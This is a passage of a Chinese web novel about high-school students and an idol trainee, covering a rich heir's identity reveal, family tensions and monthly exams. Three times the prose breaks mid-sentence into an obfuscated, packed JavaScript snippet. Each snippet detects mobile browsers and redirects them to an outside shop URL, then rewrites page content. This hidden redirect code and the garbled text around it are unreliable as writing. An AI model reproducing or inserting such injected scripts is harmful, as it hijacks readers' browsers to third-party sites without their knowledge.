谷奕一脸轻松:“没事。好得很。” 黄怀予松口气,拍拍他的肩膀,“那就好。听说他伤得还挺重,但是你却没事。你可真能打,封你为御前带刀侍卫。” ——一句十分莫名其妙的话,但是谷奕本能地把它视作夸奖,嘴角更是得意地扬起,又赶紧压下去,装作满不在乎,语气随意平淡。 “哦,还好吧。” “以前经常打架,练出来了。” “他这种战斗力根本都不算什么,我以前一个人可以打三个人。” …… 黄怀予完全不在乎他们两个为什么和杨天奇起了冲突,她只听到谷奕一点没受伤地赢了,反而对方被打得鼻青脸肿还流血了。 不愧是我朋友,能打! 黄怀予和谷奕两个人心情都十分好,并排走在一起,俨然像打仗赢了的战友,脚步都同步变得趾高气扬起来。 “……”后面的苏琬犹豫地看着前方两个人轻松的脚步,终究还是开口说道,“他……应该是来找我的。上一次他找我要□□,我和谷奕拒绝了,所以他……就来食堂蹲守。” “什么?!” 黄怀予一下跳起来,眼里喷射出愤怒的火。 “这人能不能去死?!” 她怒气冲冲把这辈子所有的脏话都说了一遍,又突然好像想到什么。 “我特地打听了,程朗说那个杨天奇好像不是好惹的,他家里好像从政的,在楚门是地头蛇啊!这下我们惹了他,梁子算是彻底结下了!” “从政?地头蛇?” 谷奕冷笑。 “那就碰碰,我倒要看看这条蛇几斤几两,有毒没毒。” 苏琬和黄怀予对视一眼。两人从一开始就知道谷奕家是富二代,本来以为只是普通有钱,可是现在他这副天王老子都不怕的样子…… “大傻,你家到底干什么的?” 谷奕长腿一迈,走到两人前面,插着兜,语调轻飘飘,飘进风里。 “开酒店的。” * 下午,三个人来到行政楼的教导主任办公室。 黄怀予表情悲壮:“大傻,这就不送你了。你进去吧,我和苏琬在门口等你。” “……”谷奕看她一眼,笑她大惊小怪,下一秒就直接走了进去。 “老师好。” 朱秋霞眯眼:“又是你?” 她打量着面前这个斜站着,一脸漫不经心的高大男生。 “马老师说上午在食堂打架的学生会过来。” 谷奕点点头:“就是我。” “……” 朱秋霞眼神犀利,放下手里的笔。 “头发剪了是吧?” “怎么剪了呢?黄头发多帅呢?” “……” 谷奕撇撇嘴,低头不说话。 突然办公室门口传来敲门声。谷奕回头望去,只看见一个穿着西装领带的中年男人走了进来。 那男人看他一眼,眼神复杂,随后就向桌子前的朱秋霞走去。 “……”谷奕盯着他的脸看了几秒钟,只觉得他长得有点眼熟,但是想不出来他到底是谁。 他疑惑地看向门口,就看见黄怀予躲在墙边,满脸惊慌,挤眉弄眼地给自己打眼色做口型。 她嘴巴张得大大的,说的速度很慢,简直像综艺里玩你比划我猜的嘉宾。 谷奕盯着看了几秒,终于看懂了。 她在说—— “校长”。 校长?! 他立刻回过头,又看了一眼那个男人,终于认了出来,这就是学校校园墙上到处出现的那张熟悉面孔,楚门一中校长周卫东。 …… 校长怎么来了? 三个学生之间打个架,也没人受重伤,这件事还惊动了校长? 还有他刚刚进来那个复杂的眼神,又是什么意思? “……” 谷奕皱眉,又往办公室门口看去。 ——果然就看见墙边缩着的黄怀予,像是知道他在想什么,立刻就又开始给他无声做口型传达消息。 她伸出两只手的食指,竖着放在一起,嘴巴无声地说着两个字。 谷奕看了几秒,又看懂了。 “一对”。 校长和教导主任是一对??? 他又赶紧转过头,看着面前这一对夫妻,原来楚门一中还是家族企业? …… 周卫东已经站到了桌子前。 他低头和朱秋霞低声耳语着什么,紧接着谷奕就看见朱秋霞脸上突然出现极其震惊的表情,脸色一阵青一阵白,还时不时看谷奕一眼,仿佛看见什么恶魔。 周卫东直起身子,转向谷奕,脸上突然转换成一副和颜悦色的神态。 “谷奕同学对吧?” “来,坐。” 他上前,指着对面的椅子,轻言细语,露出微笑。 ……? 谷奕皱眉,心里一阵毛毛的。他没搞懂周卫东到底要干什么,看他一眼,还是坐了下来。 没想到面前的男人又站起来,走到旁边的柜子,拿出一包茶叶。 “喜欢喝茶吗?” 谷奕一抖,像撞鬼一样扭头看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252937|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周卫东。 周卫东笑得十分平易近人:“不喜欢?那要不要喝冰可乐?” “……”谷奕拧了自己大腿一下,立刻站起来,退到椅子后面。 “不用了,我站着就行。” 周卫东笑了一下,放下手里的茶叶,走到谷奕面前,眼神明亮,笑容和蔼。 他问: “你妈妈最近还好吧?” 谷奕闻言一怔。 ……他看着对方的表情,瞬间就明白了刚刚那一切为什么会发生。 因为这些场景在他有限的十九年人生里,已经上演了无数次。 …… “上次谷女士过来,还给楚门一中捐了一栋教学楼和一个图书馆!作为如此有成就的企业家,还不忘回馈家乡,为家乡的教育事业做贡献,这种精神品质真是太令人钦佩和感动了……” “下次谷女士如果有空再来楚门,我一定请她吃饭,好好招待她!” 周卫东还面带笑容地叽里呱啦地说着什么话,但是谷奕一个字也没听进去。 他懵了。 他妈妈什么时候捐的教学楼和图书馆? 他妈妈虽然是楚门人,但是楚门一中并不是她的母校。她为什么要捐? 是……因为他吗? …… 谷奕心头一震。 他难道不是像个被不爱他的妈妈抛弃的小孩一样,被流放到这个人生地不熟的地方来的吗? 他难道不是觉得妈妈根本不在乎自己,和妈妈吵架以后,被妈妈赶出家门,自己一个人,什么也没带,坐五个小时的高铁,从魔都来到这个N线城市,从别墅搬到了高中集体宿舍的吗? 他突然想到很多事。 楚门一中是公立省重点,是楚门市最好的高中。连杨天奇这样的本地人都只能通过国际班转进文科平行班,那他为什么能这么顺利地进来? 马辉第一天就强迫他和苏琬黄怀予坐在一起,而且还为了让自己不逃课而绑定上了那两个人,最后在“连坐制”的威胁下,他不仅和苏琬黄怀予成为了朋友,还天天回来上课。 住校的人那么多,但是他入校第一天就被安排和白度一起住,四人寝室只住了他们两个人。 还有面前这对中年男女因为大笔捐款和自己的身份而瞬间变得友好的神色…… ……好像这一切,都说得通了。 谷奕皱起眉,心头颤动,眼里极为酸涩。 周卫东还在喋喋不休地表达着自己对谷女士崇高的敬仰之情,然而谷奕却一个人低着头,神色严肃,想着乱七八糟的事,一句也没听进去。 …… “你听到啥啦?” “等会等会!我好像听到一个大瓜!” 黄怀予耳朵紧紧趴在门上,整个人如同一个半夜出行的小偷,正努力听着门里的动静。 “谷女士?” 她直起身子,面色困惑:“谷女士哪位?” 苏琬拿出手机,立刻打开了浏览器。 “谷奕说,是开酒店的……” 她喃喃自语,划过几页,突然手指定格住,眼神停顿。 “查到了?!” 黄怀予扑过来。 “胜家酒店?” 黄怀予一个字一个字地念着上面的介绍。 “国内知名连锁酒店大型集团,总部位于魔都,由谷玉女士在2003年创办,十几年来扩展迅速,遍布全国45个城市,以卓越的服务、优秀的员工、专业的态度,发扬集团使命与精神。2010年,谷玉女士被评为年度百大企业家。2015年,胜家酒店被评为中国百大最具价值品牌。” …… 两个女生站在原地,目瞪口呆,无人说话。 …… “我现在从这里跳下去,可以重生吗?” 黄怀予喃喃自语。 “早知道这样,8月31号的那个早自习,从他走进教室的那一刻开始,我就应该趴在地上,三叩九拜,恭迎谷太子爷圣驾驾临楚门一中301班,千岁千岁千千岁。” 苏琬提醒:“你不仅没有恭迎,反而在那天早自习当着全班的面,拒绝他坐你前面。” 黄怀予:“……” 苏琬继续提醒:“紧接着那天中午,你还又和他吵了一架,说他是染黄毛逃课的装逼屌丝。” 黄怀予:“……” 苏琬给出最后一击:“你还给他取了个外号,叫大傻。” 黄怀予终于崩溃:“够了!” 她哆哆嗦嗦掏出手机,决定开始亡羊补牢:“现在把备注和群昵称从大傻改成大少爷,还来得及吗?” 17. 第 17 章 “走吧,回教室。” 谷奕走出教导主任办公室,冲着门口的两人说。 他往前走了两步,才发现后面没人跟着,又奇怪地回头看一眼。 谷奕以为是两个女生怕他被校长惩罚,一时有些吓到,没反应过来,于是又说了一遍。 “走吧,路上说。马上就上课了。” 可是墙角的那两个女生依旧不动。 ……谷奕站定,再次回头。 他看见两个女生直直地站在墙边,背脊挺直,眼神坚定,面无表情,一副在烈日下军训站军姿的样子。 “……?”他莫名其妙,“干嘛?” 黄怀予盯着他,三秒后才缓缓开口: “上不上课现在已经不重要了。” 谷奕:? 她舔舔嘴唇,语速缓慢。 “本来想以普通朋友的身份对待你,但是天不遂人愿,我们之间隔着天堑鸿沟。” 谷奕:?? “说吧,你到底是谁!” 谷奕:“……我……” 黄怀予悲愤喊出声:“别隐瞒了!我们已经知道了你的身份!” …… 谷奕沉默。 他终于明白这两人为何这副反应了。 他咳咳嗓子,有些无奈:“我又不是怪物,更不是卧底间谍,别弄得下一秒就要开始演谍战剧了。” “……”黄怀予见他承认,心里一颗大石终于落地,悲愤摇摇头,“不,富人和穷人之间的差别,比人跟狗的差别还要大。” 谷奕面上不自然,挠挠头,转身欲走。 “再不回去上课,马辉就要以为我们三个都一起逃课了啊。” 他语气里带着自己都没有觉察到的纵容,迈开长步,又顿了一下等了一会,果然后面立刻传来两人杂乱的脚步声。 下一秒,他的左右就都瞬间围上一个女生。 左边的苏琬:“你是不是住别墅?” 谷奕老实回答:“是。” 苏琬:“几层?” 谷奕:“以前住的是五层,后来初中为了上学搬到市中心了,住的平层。” …… 右边的黄怀予:“你是不是出国旅过游?” 谷奕:“是。” 黄怀予:“去过几次?” 谷奕挠挠头:“想去就去。” …… 黄怀予:“你是不是读国际学校?” 谷奕:“本来是这么打算的,但是我不愿意读,不想学英语。” 黄怀予:“那你是不是以后还要出国读书?” “……” 谷奕听到这个问题,浑身僵硬了一下,刚刚还老老实实回答的态度瞬间消失。 “我才不去!” 他咬牙,又想到什么,愤怒强调:“我就不去!” * 新娱公司。 空荡荡的小会议室的角落里,只坐着一个年轻男生。 他嘴唇紧抿,神色平静,金发凌乱,原本就瘦削的脸仿佛变得更加紧致单薄,五官极其精致,一双原本生得艳丽柔情的桃花眼里却隐藏着深不见底的麻木和痛苦,衬得整个人气质更加阴郁。 他靠在椅子靠背上,安静地坐着。 像一个没有感情没有思想的精致木偶。 …… 门被打开。 他没动,仿佛没听到。 直到一双手轻轻搭在他肩膀上,他才仿佛刚刚反应过来,迟钝地抬头,眼里藏着层层叠叠的雾。 他终于看清了。 是梁吟东。 梁吟东一向平静镇定的脸上却出现了十分担忧的神色,轻拍了拍他的肩膀,坐在他旁边。 “还好吧?” “……” 楚恒反应极慢,脸上没有什么表情。 “楚恒?” “你今天有课吗?今天让你过来,有没有和你别的安排冲突?” 他一直没开口,直到过去了好几秒钟,才缓缓地摇摇头。 “……”梁吟东眉头渐渐皱起来,一时间觉得楚恒的状态十分不对劲。 楚恒刚进公司的时候,才15岁,性格内向,一直就不爱说话。出道以来,更是慢慢变得更加寡言,眼神里完全没有了这个年纪的稚嫩,反而逐渐透出深沉的冷漠。 根据她这么多年在这个圈子里和艺人打交道的经验,他多半是有了心理问题。 …… 梁吟东深呼吸一下,神色认真。 “新歌的安排,我已经知道了。” 对方没有反应。 她顿了一下,突然说: “是因为赵焰和顾安吗?” ……这是一句没头没尾的话,没有背景条件,更没有事件结果。 但是梁吟东知道,楚恒听明白了。 因为他麻木的眼神闪烁了一下,随即又恢复成原来的样子。 ……他依然没有说话。 这是一种迷茫但执拗的讯号,不承认也不否认。不承认是因为害怕,不否认也是因为害怕。 梁吟东看着面前这个19岁的男生,突然觉得仿佛看到了当年二十几岁的自己。 刚刚从学校进入社会,纠缠在复杂的人际关系网里,看不破层层叠压的权力体系。 一身热胆,一头梦想,带着人的情感,撞进了权力的钢铁森林。 …… 她轻轻开口。 “楚恒,这是你进新娱公司的第四年。” “这个公司表面和气,实际上早就一团污秽。” “否则当年那件事,李鸣月也不会主动离职,带着那么多人,引发那么大的舆论反响。” “权力是一件很恐怖的事,可以把白的说成黑的,可以把朋友变成敌人,可以把人变成怪物。” “或许有一天,我们自己也会变成怪物。” 面前的沉默少年终于有了反应。 他抬起了头,脸上罕见地出现迷茫和脆弱。 他问:“会吗?” 梁吟东轻声说: “不知道。” “未来总有各种各样的可能性,也许有一天会发生我们永远也无法想象到的事情。但是也有可能,我们站在弹尽粮绝的分叉口,选择了另一条路。” “不管明天会遇到什么事,就这样一步步地,走下去,就好了。” …… 梁吟东离开了,空荡的房间里又只剩下他一个人。 他低着头,金发垂下来,遮住他的眉眼。 “权力是一件很恐怖的事,可以把白的说成黑的,可以把朋友变成敌人,可以把人变成怪物。” …… 朋友? 到底什么是朋友? 他15岁进公司,现如今已经19岁。在其他同龄人都还在高中校园里当不谙世事的学生的时候,他就像一只断了线的风筝,直接被砍断了学生身份,卷进了这个幻灭虚假的圈子。 他的周围,没有真心朋友的劝慰,没有同辈群体的认可,没有健康的人际关系网络。 他只是一个人苦闷地练习,一个人麻木地节食,一个人沉默地幻想。 ……一个人,眼睁睁地,在这个等级森严又竞争激烈的圈子里,看着旁边的同龄人一个个被竞争下去,看着可以出道的人欢喜鼓舞觉得自己立刻会一飞冲天,又看着他们却只是像商品和洋娃娃一样被公司和市场指示摆布,被卷入粉丝疯狂虚幻的掌声和山雨欲来的奚落中。 ——这些他们,也是一个个的他自己。 楚恒垂下头,睫毛颤动,看着自己的手。 他到底是谁? 他到底在干什么? 他到底为了什么而活着? …… 这一瞬间,不知道为什么,他突然想到谷奕那个电话里的女孩。 他说,她脾气暴躁,十分不好惹,恩怨分明,风风火火。 把谷奕当成敌人的时候,毫不掩饰自己对他的厌恶。一起面临冲突的时候,又愿意挺身而出为朋友出头。 想说什么就说什么,想干什么就干什么,凭着当下的情感就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252938|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以无所顾忌地行事。情感导向,无视规则,只为开心。 楚恒心头突然涌上一丝短暂的羡慕。 他羡慕这样的潇洒,羡慕这样的自由,羡慕这样健康热烈的人际关系。 他心里总有万重枷锁,总有层层禁闭,总有无尽的黑暗和噩梦。 当太阳消失,世界只剩黑暗,他向下坠落,无人可以托住自己。 …… “楚恒!” 有人叫他。 他回头。 沈一瑾从楼梯间里跑出来。 “我……我已经知道你们新歌的事了。你……别难过。” 楚恒一如既往地不回答,眼神没有任何波动,似乎只是静静地等她说完。 “……”沈一瑾咬咬牙,又抬起头,眼里充满希翼,“我们团MOON最近有个新综艺,里面需要录一个舞蹈挑战。你……有时间吗?要不我们一起录一个舞蹈视频发出去?” 沈一瑾是新娱公司旗下女团MOON的默认C位。MOON已经出道五年,沈一瑾是绝对的断层人气TOP,粉丝很多,甚至MOON和STAR两个团的知名度都没有沈一瑾一个人的知名度高。 她还有一个亲哥哥,也是偶像,在另一家大公司的人气团体里当队长。两人从出道开始就有许多兄妹接生粉,人气很高。 …… “你别误会!我不是可怜你或者别的什么的……只是觉得你跳舞很好,所以想一起合作。” 她眼神里充满期待地等了几秒钟。 她看见,楚恒一向波澜不惊的眼神终于松动了一下。 他淡淡开口:“谢谢。” “只是那个挑战,是公司让你和赵焰一起的吧。” 沈一瑾有些愣住,这还是楚恒第一次和她说这么长的话。他的声音清淡,低沉好听,沈一瑾不禁有些红了脸。 可是一想到刚刚话里提到的赵焰,沈一瑾脸上又涌现出许多不情愿。 “我才不想和他一起!” …… 楚恒没再说话。 他的意思已经很明确,既然公司已经有了指示,这种事就不是他们可以说了算的。 沈一瑾有些懊恼和烦躁。她低着头,还想说些什么,突然楼梯间的门被打开,打断了两人的谈话。 “小瑾!” 来人是个中年女人,身材微胖,一头卷发,带着红框眼镜,看着极其亲和友善。 沈一瑾有些惊讶,仿佛被当场抓包,有些慌乱:“明姐……你,你怎么来了……” 明红看了一眼楼梯间里惊慌的女生和旁边站得笔直保持距离的冷淡男生,心里一下子明白了两人在干什么。 她完全没问两人在干什么,只是立刻上前,冲旁边的男生露出一个笑容:“呦,楚恒啊,你也在这?在楼梯口抽烟?MOON等会还有排练,我先带小瑾回去了啊。” 她满脸笑容,拉着沈一瑾的手臂,带她离开了。 …… 两人走出楼梯间,沈一瑾低着头,嘟嘟囔囔地喊:“明姐……我只是和他聊聊天。” “是吗?” 明红转过身来看着她,神色平静。 “聊什么内容?是在聊让他去拍舞蹈挑战吗?” 谎言一下子被戳穿,沈一瑾脸红红的,有些倔强:“为什么不能让楚恒来跳?明明他跳得很好。我不喜欢赵焰,没法合作。” 她满脑子只有个人喜好和偶像光鲜亮丽的人前形象,完全想不到,拍一个视频这件事,能被赋予什么内涵。 明红叹了口气,刚才外人面前和蔼可亲的笑眼转眼间就消失,换上了一双精明睿智的眼睛。 她开口,没有再纠缠于舞蹈挑战的事,而是直接说道: “小瑾,STAR换C和你无关,不要掺和到STAR的事情里。” “特别是,不要掺和到梁吟东和贾总经理的争斗里。” “你懂我在说什么吗?” …… 她苦口婆心,语气里带着认真的警告。 沈一瑾怔住了。 18. 第 18 章 楚门一中。 9月月考即将来临,1号教学楼人声鼎沸,到处都是为了布置考场而拖动桌子的尖锐噪声。 苏琬刚刚把抽屉里的课本全部清空塞进了教室右边的箱子里,腾出了一张空课桌,正准备吃力地把它搬到第四组的位置上。 ——突然眼前出现一个高大的身影,随后手上的重量一轻,桌子被整个抬了过去。 谷奕一句话也没说,只是轻松地一把接过桌子,长腿一伸,就极其自然地放到了第四组的位置上。 他长得人高马大,力气也大,自己很费力才能搬得动的课桌,对他来说却十分轻松。 “……谢谢。”苏琬张着嘴,很快反应过来,拿起了身旁的很轻的凳子,准备放过去。 下一秒手里的凳子也被眼前的人给接了过去。 他直起身子,转头看她。 “不用对我说谢谢。” “……”苏琬低头,露出一个温柔的笑;“好。” 她看见眼前的男生目光似乎落在了自己的耳朵上,然后脸瞬间就蒙上一层淡淡的红色。 他咳了一声,环顾四周,转移话题:“怎么没看见黄怀予?” 苏琬习以为常:“杯子每个月月考之前就会消失。我也不知道她去了哪里。” …… 黄怀予每一次月考之前,确实都会消失。 她会去1号教学楼的天台。 这个地方是林潇潇之前发现的。门上有锁,但是锁太旧,可以直接打开,没人发现。有一次林潇潇告诉了她,她就经常在考试之前过来。 脚下是屋顶,远处是鸡鸣山,眼下是如同沙丁鱼罐头一般拥挤的学生。 长得一样,发型一样,穿着一样,走在同一条“百万人过独木桥”的路上,听着同一句“一分压倒一千人”的口号,看着同一个“距离高考还有200天”的倒计时牌子。 ……像极了自己每天晚上会做的梦。 高二的时候,有一段时间学地理学得太疯狂,每天抱着地图册看,做梦都会梦见几十张地图追着自己跑。 她抱头鼠窜,突然从天而降许多大石头,飞过来各种各样的山和树,把自己像孙悟空一样压在下面。 左边的山上用宋体小四号写着“横断山脉”,右边的山上用微软雅黑写着“长白山”,把自己狠狠挤压,根本逃不出来。 …… 但是今天,她不在天台。 她被外婆的一通电话叫回了家。 …… 不太宽敞明亮的房间里,四个人围坐在小小的桌子前。 桌上摆着五菜一汤,十分丰盛。黄怀予低头猛吃,看也没看旁边的人。 ……刚刚外婆给自己打电话,说她爸爸来了。 她外公最近刚做完手术出院,她爸爸拎着两箱东西过来看望,外婆立刻做了好几个菜,并且把一向不在家里吃晚饭的黄怀予叫回了家。 “爸,你最近身体怎么样?” 刘远放下筷子,看着旁边脸颊凹陷的老人,“你瘦了这么多!” 外公咳嗽了两声,颤颤巍巍地扶了一下头上的帽子。 “没事,手术还比较顺利。” “那就好。癌症真不是开玩笑的,更别说你还有两个癌症!” “是啊。”外婆在一旁带着埋怨说道,“你看他,抽了几十年的烟,黄怀予小时候还让他戒烟,也一直戒不掉。现在得了一个肺癌一个胃癌,总算再也不抽了吧。” 几人已经吃的差不多了,外婆给刘远端上了一杯茶。他接过,顺手就想拿出兜里的烟出来抽,动作顿了一下,想到了什么,还是没有拿出来。 他转头去摸包,从包里拿出一个信封,塞给外婆。 “上半年欠的生活费。还有爸病的这么严重,一点心意。” …… 黄怀予还在低头猛吃,正在解决掉桌子上最后两盘荤菜。 刘远的目光终于移向黄怀予。 “现在这么瘦了?” 他眼里带着笑,调笑着说:“漂亮多了。以前那是真的胖啊。” “……” 黄怀予听到这话,头也没抬,动作也没顿,只是继续啃着手里的鸡腿。 面前的人仿佛还没觉察到黄怀予似乎不愿意提这个话题,还在满脸兴趣地问:“怎么瘦的?是不是每天节食,不吃东西?” 黄怀予浑身僵硬,依然没回答。 外公在一旁接话:“高一的时候每天都出去减肥跑步嘞!减肥减得才辛苦!” “没有没有!”外婆瞪了外公一眼,帮黄怀予说话,“没有减肥,就是抽条了,自然就瘦了。” “哦哦,那真是女大十八变。” “……”黄怀予咽下嘴里的鸡肉,听着对方嘴里的“漂亮”、“瘦了”,浑身不痛快。 …… “听说你最近买了套房?”外婆不经意间提起一句。 “……哦。”刘远像是没好意思回答,过了一会才接道,“是。” “哦,蛮好的,在新区那边吧?” “是,马上刘子扬要考高中了。” 他说到这里,就不再接着说下去了,似乎是不太想在这里提到太多“刘子扬”的事。 “哦。”外婆点点头,拿起桌上的橘子,又问到,“成绩还可以吧?” “不行不行!”刘远笑着摆手,“很一般。” “怎么个一般?考多少分啊?” 刘远脸上的笑仿佛马上就要维持不住了,他喝了一口茶,慢慢说:“班上倒数吧。” “是吗?”外婆点点头,像是终于问到了自己想问的,心情变得很好。 刘远有些尴尬,又把话题移到黄怀予身上。 “黄怀予初中的时候成绩蛮好的吧?” “那当然了!”外婆满脸自豪,“她初中的时候一直都是前二名!不然怎么考上了一中呢!” …… 人走了。 黄怀予终于放下了筷子。席间她一句话也没说,只是埋头猛吃,桌上五个盘子全部空了。 “好吃吧?” 黄怀予站起身收盘子,点点头:“好吃。” 外婆喜笑颜开:“那就好。我早晨特地去二街给你买的菜,本来想明天中午弄给你吃的,没想到你爸说晚上要来,所以就做了算了。” 她拿走黄怀予手上的盘子:“你别动,家家来!你等会还要上晚自习。” 黄怀予手上空了,干脆拿了个橘子,站在厨房门口,一边吃一边看外婆洗碗。 “家家。” “哎。” “我爸给了多少钱?” “没看。”外婆笑笑,“能有多少钱?不就最多一两千块?每个月都该给的生活费,他还拖着不给,上半年的都拖到现在9月份才给,你指望他给你多少钱?” …… 黄怀予捏着手上的橘子,不说话。 …… “你妈你爸在你三岁的时候离婚,你妈就去魔都打工,家家爹爹养你到现在。你爸管过你什么?他第二年就再婚了!” “你看你那个弟,成绩差得要死,你爸还天天挂在心里,房子都给他买好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252939|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了!” “到你这,你爸就没钱了,每个月给几百块生活费还要三催四催!” “当初你妈怀你的时候,你爸带人去查性别,查出来是个女孩,你爸和你奶奶当时就不高兴了!生下来以后更是没个好脸色,离婚的时候都不愿意要你!” “家家和爹爹把你养大,你从小就成绩好,不让家家爹爹操心!家家就希望你考个好大学!” …… 她佝偻着身影,手上洗着碗,嘴上絮絮叨叨抱怨着。 …… 黄怀予把手里的橘子扔进了垃圾桶,感觉是把自己也扔进了垃圾桶。 “我回学校了,要上晚自习了。” 她转身离开。 * 谷奕躺在床上,懒散地叫: “白度。” 没人回应他。 “白度!” “啊!咋啦哥!” “让你来TIMI!你干啥呢?” 谷奕爬起来看着下面坐在桌子前背书的白度,脸上仿佛见了鬼一样不可置信。 “你什么时候还学上了?!这是你吗?!” 白度不好意思地挠挠头。 “明天就月考了,临时抱一下佛脚。” “有用吗?” “……”白度泄了气,“确实没什么用,以前都会抱佛脚,还是考得一样烂。” “那不就得了!” 谷奕又躺回来,看着天花板,嘟囔道:“一个个的都这么认真,不就是个月考吗?有什么了不起的……” 他晃着腿,突然想到什么,极其不自然地开口: “哎。” “苏琬……是不是成绩很好?” …… 他上课时偶尔也会有清醒的时候,这种时候就会看见老师点苏琬起来回答问题。 那些函数,那些公式,他一个字都看不懂,可是苏琬却能一下子答出来。 至于黄怀予……她好像更厉害,因为只有遇见那种全班都错得很多的题目的时候,老师才会点黄怀予起来,让她说一下自己为什么能做对。 …… “对呀,苏琬当然成绩好了,她可是我们班第二名呢。” “成绩最好的是黄怀予,年级前十!” 下面传来白度傻兮兮的崇拜声音。 谷奕没回答。 他下了床,坐到桌子前,轻轻拿起了书架上的一支笔。 ——那是一支粉色的梦想牌中性笔,文具店里最普通的款式,两块钱一支。 可这位用过无数大牌钢笔的谷大公子,此时却不自觉地放慢了动作,眼里也带着自己丝毫没有察觉出来的小心和珍视。 …… 他又回忆起这接近一个月以来,自己坐在那两人旁边的感受。 她们两个在教室里一前一后地坐着,极其合拍,仿佛带着一股天然的气场。 那是对自己熟悉的领域的信心,对数不尽的浩瀚知识的渴望,对自己光明的未来的期盼。 自己虽然坐在她们身边,却好像永远也融不进去,好像永远都和她们隔着一层天然的屏障。 …… 突然,谷奕想到了什么,惊慌失措地拍了一下自己。 他在想什么! 他不是问题少年吗! 他不是天不怕地不怕的叛逆富二代吗! 他的人设怎么会崩塌得这么快!他怎么会堕落得这么快! …… 谷奕极其恐惧地咬咬牙,用力拍拍自己的脑袋。 他才不想融入她们! 19. 第 19 章 当谷奕认识到自己正在“好学生”这条不归路上沉沦堕落的时候,他的心情是十分灰暗的。 哥的叛逆呢? 哥的桀骜呢? 哥的把全天下所有人都当成屎的大无畏精神呢? …… 谷奕闷闷不乐地放下了手里的粉色笔,走出了寝室。 学生寝室外的陈旧阳台上,放着一架和周围环境极其不相称的天文望远镜。望远镜足足有一个人那么高,周身纯黑色,方向朝向夜空,一看就知道极其昂贵。 他来到阳台,走到望远镜边,默默点起了一根烟。 …… 谷奕很喜欢看星星。 他从小就一直喜欢天文,在他魔都的房间里摆满了各种各样的天文望远镜。以前每天没事干,他经常一个人背着望远镜去郊区山上躺一晚上看星星。 这次来楚门,他的行李箱里什么都没带,只装了一架他最喜欢的天文望远镜,以及拎了一个篮球。 …… 他嘴角咬着烟,站到望远镜前,轻车熟路地就开始调起了寻星镜。 却在下一秒抬头的时候,在对面的灰色楼房阳台上,远远地撞见了一双熟悉的眼睛。 ——苏琬就站在对面女生寝室同层三楼的阳台上,穿着白色的睡衣,似乎是刚刚洗完澡,微微湿润的头发就这样随意披散着,手上还拿着一本十分厚的书。 谷奕一时发愣。 苏琬晃了晃头,耳朵上好像闪过什么十分闪耀的东西,一下子闪过他的眼睛。 ——这下,他终于看清楚了。 ——隔了一段时间的疑问终于都得到了解答: 苏琬的右耳上有三个耳钻,左耳上也有两个。 …… 晚风微微吹过,月色朦胧,他微微眨眼,此时此刻5.0视力的眼睛终于叫嚣着发挥了作用,他还看见,苏琬手上拿着一本黄色的书,上面写着《法学导论》。 他怔怔然,耳根悄悄红了。 再抬起头时,他注意到苏琬也正在看着自己。 ……她在看自己嘴角的叼着的烟。 谷奕一下子觉得十分不好意思,立刻把烟拿下来戳灭了,僵硬地冲她点点头,算是打招呼,无言地转身进了寝室。 …… 桌上的手机屏幕闪烁,谷奕划开,发现是楚恒给自己发了消息。 他说,这周会来楚门。 ! 只是短短几个字,谷奕却立刻兴奋起来,他按着屏幕发语音,“兄弟!正好我们明天月考,等大后天考完就是周末,你多待几天再回去!” * 9月28日周四,9月月考。 考试的座位和考场分布全部是按照上一次的考试排名来的。上学期期末考试,黄怀予是年级第七名,所以这一次,就会坐在第一考场的第七个位置。 …… 在高一下学期的某一次考试之前,楚门一中这一届的文科年级前十,全部是由八班的人包揽。 高一下学期的那一次考试之后,这十个位置第一次进来了一个外班人。 ——就是一班的黄怀予。 这之后,四个平行班里才陆陆续续有更多的人挤进了第一考场,甚至挤进了年级前二十、年级前十。 对于黄怀予来说,每次月考时,整个第一考场里她唯一的同班,只有苏琬和杨捷。 她一个人坐在前两列。前后都被八班的人包围,后面才会零零星星出现几个二班、三班、四班的人。 第一考场一向肃穆安静。 只有这群前排八班的人,坐在一起,聚集在一起,颇有着“主场”的自觉,带着上等学霸的轻松,三两成群,聊着这几天发生的好笑的事。 ——在其中极为不自在的黄怀予,一般这个时候都会去看看附近,离自己最近的二、三、四班的人。 那人一般也是她们班的第一名。 她一定也和自己一样,孤军奋战,一个人孤零零地坐在前面,满脸苦大仇深,只管低头看书,带着沉重的自觉。 …… 上午七点四十五分,离考试还有十五分钟开始。 黄怀予收起楼梯上的课本,拿起旁边的水杯,走进了考场。 此时考场已经坐满了人。 她踏进教室,拐进了第一纵列。 ——习惯了在每一次考试开始之前,都在座位上和前后左右的同班同学随意聊天说笑的十几个八班的人,一下子停止了说话,全部转过了头,直直地注视了过来。 她一扭头,目光和齐龙飞撞了个正着。 